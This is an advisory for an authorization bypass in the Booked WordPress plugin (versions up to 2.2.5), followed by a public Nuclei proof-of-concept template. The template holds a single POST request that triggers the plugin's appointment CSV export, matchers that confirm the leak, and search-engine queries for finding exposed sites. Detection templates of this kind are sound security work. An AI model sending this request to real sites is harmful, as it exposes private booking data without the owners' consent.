The Booked plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on several functions hooked via AJAX actions in versions up to, and including, 2.2.5. This makes it possible for authenticated attackers with subscriber-level permissions and above to execute several unauthorized actions.
PoC代码[已公开]
id: booked-export-csv
info:
name: Booked < 2.2.6 - Broken Authentication
author: random-robbie
severity: high
description: |
The Booked plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on several functions hooked via AJAX actions in versions up to, and including, 2.2.5. This makes it possible for authenticated attackers with subscriber-level permissions and above to execute several unauthorized actions.
remediation: Fixed in version 2.2.6
reference:
- https://codecanyon.net/item/booked-appointments-appointment-booking-for-wordpress/9466968
- http://boxyupdates.com/changelog.php?p=booked
- https://wpscan.com/vulnerability/10107
classification:
cpe: cpe:2.3:a:twinkletoessoftware:booked:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: twinkletoessoftware
product: booked
fofa-query: "wp-content/plugins/booked/"
publicwww-query: "/wp-content/plugins/booked/"
google-query: inurl:"/wp-content/plugins/booked/"
tags: wordpress,wpscan,wp-plugin,wp,booked,bypass,vuln
http:
- raw:
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
booked_export_appointments_csv=
matchers-condition: and
matchers:
- type: word
part: body
words:
- "End Time"
- "Start Time"
- "Calendar"
condition: and
- type: word
part: header
words:
- text/csv
- type: status
status:
- 200
# digest: 4a0a00473045022051ee5aaec84a8fa714208764aa504c27d955b8ba08e3230a4dbda1b751df264f022100c796337ad3efbb27e723490c6d4e653e0c70bf0649845465b17cf48967faf6ef:922c64590222798bb761d5b6d8e72950